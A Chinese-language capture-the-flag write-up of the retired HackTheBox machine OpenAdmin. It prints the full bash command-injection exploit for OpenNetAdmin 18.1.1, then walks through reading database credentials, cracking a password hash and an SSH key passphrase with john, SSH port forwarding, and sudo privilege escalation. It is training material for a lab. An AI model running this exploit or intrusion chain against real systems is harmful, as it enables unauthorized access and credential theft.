本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关
靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.165
本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描
信息枚举收集
https://github.com/codingo/Reconnoitre 跟autorecon类似
autorecon 10.10.10.171 -o ./OpenAdmin-autorecon
masscan -p1-65535 10.10.10.171 --rate=1000 -e tun0 > ports ports=$(cat ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr ' ' ',' | sed 's/,$//') nmap -Pn -sV -sC -p$ports 10.10.10.171
或者
nmap -p- -Pn --min-rate=10000 -sV -sC 10.10.10.171
就看到开放了两个端口,先看看80端口业务
默认页面没啥东西,爆破目录看看,这里爆破方法很多,我就使用dirb命令直接爆破吧
dirb http://10.10.10.171
最后发现了下面个页面
artwork index.html music
ona
上面每个页面都访问了一把,最终发现ona目录有价值
看到上面显示当前版本是old版本,版本号是v18.1.1 访问了她给的DOWNLOAD,发现是opennetadmin 根据此版本和名称搜索了一把发现了exploit,具体地址如下:
https://www.exploit-db.com/exploits/47691
对应的利用方式如下:
wget https://www.exploit-db.com/raw/47691 上面的exploit下载下来要在kali下执行dos2unix 将其转换成Linux环境下的文本环境 #!/bin/bash URL="${1}" while true;do echo -n "$ "; read cmd curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo "BEGIN";${cmd};echo "END"&xajaxargs[]=ping" "${URL}" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1 done 将其改名执行 ./opennetadmin.sh http://10.10.10.171/ona/
拿到权限通过在靶机上信息搜集
https://github.com/rebootuser/LinEnum https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS
得到如下信息
$ls -la /var/www/ total 16 drwxr-xr-x 4 root root 4096 Nov 22 2019 . drwxr-xr-x 14 root root 4096 Nov 21 2019 .. drwxr-xr-x 6 www-data www-data 4096 Nov 22 2019 html drwxrwx--- 2 jimmy internal 4096 Nov 23 2019 internal lrwxrwxrwx 1 www-data www-data 12 Nov 21 2019 ona -> /opt/ona/www
然后根据此软件官方的信息,可用得知目标存放数据库配置文件的默认路径
https://opennetadmin.com/forum_archive/4/t-85.html
路径:
ona/local/config/database_settings.inc.php
$cat /var/www/html/ona/local/config/database_settings.inc.php <?php $ona_contexts=array ( 'DEFAULT' => array ( 'databases' => array ( 0 => array ( 'db_type' => 'mysqli', 'db_host' => 'localhost', 'db_login' => 'ona_sys', 'db_passwd' => 'n1nj4W4rri0R!', 'db_database' => 'ona_default', 'db_debug' => false, ), ), 'description' => 'Default data context', 'context_color' => '#D3DBFF', ), );
读取到数据配置信息,获得了数据库的账号和密码,因为上面我们收集信息发现一个目录/var/www/有个internal的权限只能是jimmy才能查看到的,所以猜测上面数据库的密码信息是否也跟此用户一样,测试登录一吧,成功登录后查看目录/var/www/internal下面的index.php发现有硬编码加密的密码hash值
00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1
上述hash在somd5上查询 https://www.somd5.com/
得到结果:Revealed
得到账号和密码之后要通过web访问,但是我查看到internel对应目录及业务在本地监听一个高端口,外面访问不了,所以需要使用ssh进行端口转发,可以使用本地端口转发,也可以使用远程端口转发都可以,相关操作如下:
判断目标靶机本地开放internel的相关端口
jimmy@openadmin:/var/www/internal$ cat /etc/apache2/sites-enabled/internal.conf Listen 127.0.0.1:52846 <VirtualHost 127.0.0.1:52846> ServerName internal.openadmin.htb DocumentRoot /var/www/internal <IfModule mpm_itk_module> AssignUserID joanna joanna </IfModule> ErrorLog ${APACHE_LOG_DIR}/error.log CustomLog ${APACHE_LOG_DIR}/access.log combined </VirtualHost> jimmy@openadmin:/var/www/internal$
本地端口转发 ssh -NfqL 1337:127.0.0.1:52846 jimmy@10.10.10.171
然后kali上使用账号和密码访问http://127.0.0.1:1337
jimmy/Revealed
发现了加密的私钥,输入账号和密码成功登录之后会调整重定向跳转到main.php文件,就是上面看到的内容,看看main.php的代码内容
根据显示的信息可以知道私钥的用户就是joanna,现在要做的就是将加密的私钥破解出来密码,然后用私钥登录,下面是具体操作
开始使用ssh2john转换为john识别的hash,然后使用john进行密码破解 /usr/share/john/ssh2john.py id_rsa.bak > hash.txt 开始破解 john hash.txt --fork=4 -w=/usr/share/wordlists/rockyou.txt
joanna_id_rsa:bloodninjas
这里可以直接使用密钥加密钥的密码进行登录了,我这就试试把这个带密码密钥的文件转换成没有密码的私钥文件进行登录
kali@kali:~/Downloads/htb/openadmin$ openssl rsa -in joanna_id_rsa -out joanna_id_rsa_openadmin Enter pass phrase for joanna_id_rsa: writing RSA key
使用用户joanna成功登录目标靶机
执行一把sudo -l
可以通过特权nano进行提权